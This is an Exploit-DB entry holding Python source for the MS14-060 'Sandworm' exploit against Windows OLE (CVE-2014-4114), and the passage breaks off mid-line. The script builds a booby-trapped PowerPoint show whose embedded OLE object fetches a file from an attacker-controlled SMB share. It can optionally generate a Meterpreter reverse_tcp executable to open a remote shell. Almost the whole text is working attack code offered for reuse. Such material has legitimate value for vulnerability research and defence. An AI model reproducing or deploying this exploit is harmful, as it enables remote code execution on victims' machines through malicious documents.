Exploit-DB #35055
Description: Microsoft Windows - OLE Remote Code Execution 'Sandworm' (MS14-060)
Type: remote
Platform: windows
Date: 2014-10-25
Author: Mike Czumak

Exploit:
# !/usr/bin/python
# Windows OLE RCE Exploit MS14-060 (CVE-2014-4114)  Sandworm
# Author: Mike Czumak (T_v3rn1x) - @SecuritySift
# Written: 10/21/2014
# Tested Platform(s): Windows 7 SP1 (w/ exploit script run on Kali Linux)
# You are free to reuse this code in part or in whole with the exception of commercial applications
# For a demo of this PoC, see http://www.securitysift.com/windows-ole-rce-exploit-ms14-060/

import sys, os
import zipfile
import argparse
import subprocess
from shutil import copyfile
from pptx import Presentation 
 
# Args/Usage  
def get_args():
 
    parser = argparse.ArgumentParser( prog="ms14_060.py",
                                      formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                                      epilog= '''This script will build a blank PowerPoint show (ppsx) file to exploit the
                                      OLE Remote Code Execution vulnerability identified as MS14-060 (CVE-2014-4114)
				                          Simply pass filename of resulting PPSX and IP Address of remote machine hosting the
				                          share. You can add content to the PPSX file after it has been created. 
                                      The script will also create the INF file and an optional Meterpreter
				                          reverse_tcp executable with the -m switch. Alternatively, you can host your own exectuble payload. 
                                      Host the INF and GIF (EXE) in an SMB share called "share".
                                      Note: Requires python-pptx''')
 
    parser.add_argument("filename", help="Name of resulting PPSX exploit file")
    parser.add_argument("ip", help="IP Address of Remote machine hosting the share")
    parser.add_argument("-m", "--msf", help="Set if you want to create Meterpreter gif executable. Pass port (uses ip arg)")
    args = parser.parse_args()
 
    return args
 
 
# write file
def write_file(filename, contents):
    f = open(filename, "w")
    f.write(contents)
    f.close()
 
# build bin
def build_bin(embed, ip, share, file): 
 
    bin = "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # ole header
    bin = bin + "\x00" * 16 
    bin = bin + "\x3E\x00\x03\x00\xFE\xFF\x09\x00"
    bin = bin + "\x06\x00\x00\x00\x00\x00\x00\x00"
    bin = bin + "\x00\x00\x00\x00\x01\x00\x00\x00"
    bin = bin + "\x01\x00\x00\x00\x00\x00\x00\x00"
    bin = bin + "\x00\x10\x00\x00\x02\x00\x00\x00"
    bin = bin + "\x01\x00\x00\x00\xFE\xFF\xFF\xFF"
    bin = bin + "\x00\x00\x00\x00\x00\x00\x00\x00"
    bin = bin + "\xFF" * 432
    bin = bin + "\xFD\xFF\xFF\xFF\xFE\xFF\xFF\xFF"
    bin = bin + "\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF"
    bin = bin + "\xFF" * 496
    bin = bin + "\x52\x00\x6F\x00\x6F\x00\x74\x00"
    bin = bin + "\x20\x00\x45\x00\x6E\x00\x74\x00"
    bin = bin + "\x72\x00\x79\x00\x00\x00\x00\x00"
    bin = bin + "\x00" * 40
    bin = bin + "\x16\x00\x05\x00\xFF\xFF\xFF\xFF"
    bin = bin + "\xFF\xFF\xFF\xFF\x01\x00\x00\x00"
    bin = bin + "\x02\x26\x02\x00\x00\x00\x00\x00"
    bin = bin + "\xC0\x00\x00\x00\x00\x00\x00\x46"
    bin = bin + "\x00" * 12
    bin = bin + "\xF0\x75\xFD\x41\x63\xB2\xCF\x01"
    bin = bin + "\x03\x00\x00\x00\x40\x00\x00\x00"
    bin = bin + "\x00\x00\x00\x00\x01\x00\x4F\x00"
    bin = bin + "\x4C\x00\x45\x00\x31\x00\x30\x00"
    bin = bin + "\x4E\x00\x61\x00\x74\x00\x69\x00"
    bin = bin + "\x76\x00\x65\x00\x00\x00\x00\x00"
    bin = bin + "\x00" * 36
    bin = bin + "\x1A\x00\x02\x01"
    bin = bin + "\xFF" * 12
    bin = bin + "\x00" * 40
    bin = bin + "\x37"
    bin = bin + "\x00" * 75
    bin = bin + "\xFF" * 12
    bin = bin + "\x00" * 116
    bin = bin + "\xFF" * 12
    bin = bin + "\x00" * 48
    bin = bin + "\xFE"
    bin = bin + "\xFF" * 511
    bin = bin + "\x33\x00\x00\x00" + embed + "\x00" # 3   EmbeddedStgX.txt 
    bin = bin + "\x5C\x5C" + ip + "\x5C" + share + "\x5C" + file # \\ip\share\file    
    bin = bin + "\x00" * 460
    return bin

# build ppt/drawings/vmlDrawing1.vml	
def build_vml():
    xml = '<xml xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:p="urn:schemas-microsoft-com:office:powerpoint" xmlns:oa="urn:schemas-microsoft-com:office:activation">'
    xml = xml + '<o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">'
    xml = xml + '<v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/>'
    xml = xml + '<v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas>'
    xml = xml + '<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_s1026" type="#_x0000_t75" style="position:absolute; left:100pt;top:-100pt;width:30pt;height:30pt"><v:imagedata o:relid="rId1" o:title=""/></v:shape><v:shape id="_x0000_s1027" type="#_x0000_t75" style="position:absolute; left:150pt;top:-100pt;width:30pt;height:30pt">'
    xml = xml + '<v:imagedata o:relid="rId2" o:title=""/></v:shape></xml>'
    return xml
 
 # build ppt/slides/_rels/slide1.xml.rels
def build_xml_rels(ole1, ole2):
    xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
    xml = xml + '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole1 + '"/><Relationship Id="rId4" Type="http://